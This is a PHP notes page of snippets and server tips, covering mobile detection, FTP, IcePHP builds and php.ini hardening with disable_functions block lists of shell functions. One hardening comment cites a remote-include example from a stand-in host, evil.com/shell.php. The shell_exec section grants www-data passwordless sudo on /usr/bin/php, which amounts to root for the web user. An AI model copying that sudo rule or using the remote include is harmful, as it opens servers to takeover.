🐘

php

12 notes  •  PHP & Web Dev

Detect Mobile Devices in PHP

PHP can detect whether a visitor is using a mobile device by inspecting the User-Agent HTTP header. This lets you redirect mobile users to a mobile-optimised page or serve different content based on the device type.

Examples

A lightweight function that checks the User-Agent string against a pattern of known mobile browser signatures:

<?php
function isMobile() {
    $userAgent = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');
    $mobileKeywords = [
        'android', 'iphone', 'ipod', 'blackberry', 'opera mini',
        'windows phone', 'palm', 'symbian', 'mobile'
    ];
    foreach ($mobileKeywords as $keyword) {
        if (strpos($userAgent, $keyword) !== false) {
            return true;
        }
    }
    return false;
}

// Usage: redirect mobile users
if (isMobile()) {
    header('Location: https://m.example.com' . $_SERVER['REQUEST_URI']);
    exit;
}
?>

The function accepts the following detection targets, which you can enable or disable:

  • iPhone / iPod — set to true to treat as mobile, or provide a redirect URL.
  • Android — set to true to treat Android handsets as mobile.
  • Opera Mini — set to true to treat as mobile.
  • BlackBerry — set to true to treat as mobile.
  • Windows Mobile — set to true to treat as mobile.

Notes

User-Agent detection is a heuristic and not 100% reliable — some desktop browsers spoof mobile UAs and vice versa. For new projects, prefer CSS media queries and responsive design over server-side detection. Reserve PHP detection for cases where you genuinely need to serve a fundamentally different page or redirect to a separate mobile domain.

PHP Miscellaneous Tips and Snippets

A collection of short PHP snippets for common tasks that don't fit into a larger category.

Get the Current Page URL

Build the full URL of the current page using server superglobals:

<?php
// Using HTTP_HOST (includes port if non-standard)
$url = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];

// Using SERVER_NAME (the configured server name)
$url = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
?>

Notes

Use HTTP_HOST when you want the hostname as the browser sent it (including any port number). Use SERVER_NAME when you want the value configured in the web server's virtual host directive. For HTTPS sites, replace "http://" with ($_SERVER['HTTPS'] === 'on' ? 'https' : 'http') . '://'.

Fix PHP CLI and phpinfo() Version Mismatch

When the PHP version reported by php -v in the terminal differs from the version shown in phpinfo() in the browser, Apache is still loading the old PHP module. You need to disable the old module and enable the correct one, then restart Apache.

Steps

1. Disable the old PHP module (adjust the version number to match the one currently loaded):

sudo a2dismod php5.5

2. Enable the correct PHP module:

sudo a2enmod php7.0

3. Restart Apache to apply the change:

sudo systemctl restart apache2

4. Reload phpinfo() in the browser to confirm the version now matches.

Notes

The module name corresponds to the PHP version (e.g., php5.6, php7.4, php8.1). Run apache2ctl -M | grep php to see which PHP module is currently active. On systems using PHP-FPM, you configure the PHP version in the virtual host file rather than with a2enmod.

Bonus: Allow www-data to Run Scripts Without a Password

To permit the Apache user to execute a specific script via sudo without a password prompt, add an entry to /etc/sudoers using visudo:

www-data ALL=NOPASSWD: /var/www/html/ssl/getSSL.sh

Install the PHP Ice Extension

The PHP Ice extension provides PHP bindings for the ZeroC Ice middleware. Building it requires that Ice for C++ is built first, then the PHP extension is compiled against your installed PHP version.

Steps

1. Build Ice for C++ from the cpp subdirectory of the Ice source tree (see the Ice C++ build guide).

2. Change to the PHP extension source directory:

cd php

3. Ensure the correct php and php-config binaries are first in your PATH.

4. Run make to build the shared library:

make

5. Find PHP's extension directory:

php -i | grep extension_dir

6. Copy the compiled .so file into that directory.

7. Create a configuration file in /etc/php.d/ (or add to php.ini) to load the extension:

extension=IcePHP.so

8. Restart your web server or PHP-FPM.

Notes

If Ice is installed in a non-standard location, set ICE_HOME before running make:

export ICE_HOME=/opt/Ice-3.5.1

If Ice was installed from RPM packages:

export ICE_HOME=/usr

To use PHP namespaces (PHP 5.3+), set USE_NAMESPACES=yes in config/Make.rules before building.

Install IcePHP Using Ice 3.4.1

This guide walks through compiling and installing the IcePHP extension from the Ice 3.4.1 source archive on a Gentoo (or similar) Linux system.

Steps

1. Install the Ice C++ libraries using your package manager:

emerge Ice -av

2. Copy the Ice source archive to a working directory and extract it:

cp /usr/portage/distfiles/Ice-3.4.1.tar.gz /root/
cd /root/
tar -xzvf Ice-3.4.1.tar.gz

3. Change to the PHP extension subdirectory:

cd Ice-3.4.1/php/

4. Find the PHP include path:

locate php.h

Example output: /usr/lib/php5/include/php/main/php.h

5. Edit the make rules file to set PHP_HOME to the PHP library directory:

vi config/Make.rules.php
PHP_HOME ?= /usr/lib/php5

6. Compile the extension:

make

7. Copy the resulting .so file to PHP's extension directory and enable it in php.ini:

extension=IcePHP.so

Notes

Compilation warnings about deprecated string conversions are common with older Ice versions and can generally be ignored as long as the build succeeds. Verify the extension loaded correctly by running php -m | grep Ice.

Remove Leading and Trailing Spaces in PHP (trim)

PHP's built-in trim() function removes whitespace from the beginning and end of a string. For stripping whitespace from PHP source files themselves (e.g., blank lines before or after PHP tags that cause "headers already sent" errors), use command-line tools.

Examples

Strip leading and trailing whitespace from a string in PHP:

<?php
$input = "  Hello, World!  ";
$clean = trim($input);      // "Hello, World!"
$ltrim = ltrim($input);     // "Hello, World!  " (leading only)
$rtrim = rtrim($input);     // "  Hello, World!" (trailing only)
?>

Remove trailing blank lines from all .php files in the current directory tree:

find -name "*.php" | xargs sed -i -e :a -e '/^
*$/{$d;N;ba' -e '}'

Remove leading blank lines from all .php files:

find -name "*.php" -exec sed -i -e :a -e N -e 's/\s*//' {} \;

Use the phptags tool to fix whitespace around PHP open/close tags:

phptags --whitespace *.php

Notes

The most common cause of "headers already sent" errors is whitespace (including blank lines or a BOM) before the opening <?php tag or after the closing ?> tag. Omitting the closing ?> tag at the end of PHP-only files is the simplest prevention.

Enable PHP Error Display for Debugging

By default, PHP suppresses error output in production environments. During development, enabling error display helps you catch problems quickly. You can turn it on either in the PHP script itself or in php.ini.

Examples

Enable all error reporting at the top of a PHP script:

<?php
error_reporting(E_ALL);
ini_set('display_errors', '1');
?>

Equivalent settings in php.ini (for development only):

error_reporting = E_ALL
display_errors = On
log_errors = On
error_log = /var/log/php_errors.log

Steps

1. Add the two lines above to the very top of your PHP file (before any output).

2. Reload the page — PHP errors will now be displayed in the browser.

3. Remove or revert these settings before deploying to production.

Notes

Never enable display_errors on a production server. Displaying errors publicly reveals code structure and file paths that could be exploited. In production, set display_errors = Off and log_errors = On to write errors to a log file instead.

Connect to an FTP Server Using PHP

PHP has built-in FTP functions available since PHP 4. The core workflow is: open a connection with ftp_connect(), authenticate with ftp_login(), perform operations, then close with ftp_close().

Examples

Connect to an FTP server, check the connection, and list the root directory:

<?php
$host     = 'ftp.example.com';
$user     = 'your_username';
$password = 'your_password';

// Open connection
$ftpConn = ftp_connect($host);

// Authenticate
$login = ftp_login($ftpConn, $user, $password);

if (!$ftpConn || !$login) {
    echo 'FTP connection failed. Host: ' . $host . ', User: ' . $user;
} else {
    echo 'FTP connection successful.';

    // List root directory contents
    $directory = ftp_nlist($ftpConn, '');
    print_r($directory);
}

ftp_close($ftpConn);
?>

Key FTP Functions

ftp_connect($host, $port = 21, $timeout = 90)  // Open connection
ftp_login($conn, $user, $password)              // Authenticate
ftp_get($conn, $localFile, $remoteFile, FTP_BINARY)  // Download a file
ftp_put($conn, $remoteFile, $localFile, FTP_BINARY)  // Upload a file
ftp_nlist($conn, $directory)                    // List directory contents
ftp_chmod($conn, 0755, $remoteFile)             // Set file permissions
ftp_close($conn)                                // Close connection

Notes

If the server requires passive mode (common with firewalls and NAT), call ftp_pasv($ftpConn, true) after logging in. For secure transfers, use ftp_ssl_connect() instead of ftp_connect() to connect over FTPS. The PHP FTP extension must be enabled in php.ini (extension=ftp).

Disable Dangerous PHP Functions (PHP Hardening)

After a default PHP installation all functions are enabled, including ones that can execute shell commands or expose system information. Disabling these server-wide reduces the attack surface for compromised web applications.

Steps

1. SSH into the server as root.

2. Find the active php.ini file:

php --ini
# or
php -i | grep php.ini

3. Back up php.ini before editing:

cp -a /etc/php.ini /etc/php.ini.original

4. Open php.ini and locate the disable_functions directive. Add the functions to disable as a comma-separated list:

disable_functions = exec,system,shell_exec,passthru,curl_multi_exec,show_source,eval,proc_open,popen,curl_exec,proc_close

5. Restart the web server to apply changes:

# Apache (CentOS/RHEL)
service httpd restart

# Apache (Debian/Ubuntu)
sudo systemctl restart apache2

6. Verify the functions are disabled by creating a temporary phpinfo() file and checking the disable_functions row.

Notes

If a customer has a legitimate need for one of these functions, create a custom php.ini for their account directory that re-enables only the specific function they need. On cPanel servers using EasyApache 4, the php.ini path is typically /opt/cpanel/ea-phpXX/root/etc/php.ini. On EasyApache 3 it is /usr/local/lib/php.ini.

Harden PHP from php.ini

The php.ini configuration file contains several directives that significantly improve the security posture of PHP applications. The settings below are relevant to shared hosting and production servers. Always test changes in a staging environment first.

Key Security Directives

Restrict file includes with open_basedir — limits all PHP file operations to a specified directory tree, blocking path traversal attacks:

open_basedir = /var/www/html:/tmp

Disable dangerous functions:

disable_functions = exec,system,shell_exec,passthru,proc_open,popen,curl_exec,curl_multi_exec,show_source,phpinfo

Hide PHP version from HTTP headers:

expose_php = Off

Disable remote file includes (prevents include 'http://evil.com/shell.php'):

allow_url_include = Off
allow_url_fopen = Off

Control error output — log errors, don't display them:

display_errors = Off
log_errors = On
error_log = /var/log/php_errors.log

Limit POST size and execution time:

post_max_size = 8M
max_execution_time = 30
max_input_time = 60

Steps

1. Locate php.ini: run php --ini to find the active file.

2. Back up the file: cp -a /etc/php.ini /etc/php.ini.bak

3. Apply the directives above using a text editor.

4. Restart your web server or PHP-FPM service.

5. Check for application breakage; adjust as needed.

Notes

safe_mode was removed in PHP 5.4 and should not be used. Use open_basedir instead for directory restriction. Setting allow_url_fopen = Off may break applications that legitimately fetch remote resources; use it only if your application doesn't need remote file access.

Dangerous PHP Functions to Disable in Production

The following is a comprehensive list of PHP functions that should be disabled on production and shared hosting servers. These functions allow code execution, file system access, and system-level operations that can be exploited if an application is compromised.

Steps

Add the following to your php.ini file under the disable_functions directive:

disable_functions = apache_child_terminate,apache_get_modules,apache_note,apache_setenv,define_syslog_variables,disk_free_space,disk_total_space,diskfreespace,dl,escapeshellarg,escapeshellcmd,exec,extract,get_cfg_var,get_current_user,getcwd,getenv,getlastmo,getmygid,getmyinode,getmypid,getmyuid,ini_restore,ini_set,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,php_uname,phpinfo,popen,posix_getlogin,posix_getpwuid,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid,posix_ttyname,posix_uname,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,putenv,readlink,runkit_function_rename,shell_exec,show_source,symlink,syslog,system

Notes

Review this list against your application's requirements before applying it. Some functions like ini_set are used by frameworks and logging libraries. Start with the highest-risk group — exec, system, shell_exec, passthru, proc_open, popen — and add others incrementally. After updating php.ini, restart Apache or PHP-FPM and run your application test suite to catch any breakage.

Fix PHP shell_exec() Permission Errors on Linux

When Apache runs PHP scripts that call shell_exec() or exec(), the commands run as the www-data user. If those commands need elevated privileges, you must grant www-data specific sudo permissions without a password prompt.

Steps

1. Open the sudoers file safely using visudo (this edits a temp file and validates syntax before writing):

sudo visudo

2. At the end of the file, add a line granting www-data passwordless access to the specific commands it needs. For example, to allow restarting a service and running PHP:

www-data ALL=NOPASSWD: /etc/init.d/smokeping restart, /usr/bin/php

3. Save and quit the editor (:wq in vi). The sudoers file is automatically validated.

4. In your PHP script, prefix the command with sudo:

<?php
// Restart a service
exec("sudo /etc/init.d/smokeping restart 2>&1", $output, $returnCode);

// Run a PHP command
$result = shell_exec("sudo php -v");
echo $result;
?>

Notes

Grant only the minimum commands necessary. Avoid www-data ALL=NOPASSWD: ALL — this gives the web server process full root access, which is extremely dangerous if any site on the server is compromised. Always specify absolute paths in both the sudoers entry and the PHP exec() call. Verify that shell_exec is not in the disable_functions list in php.ini.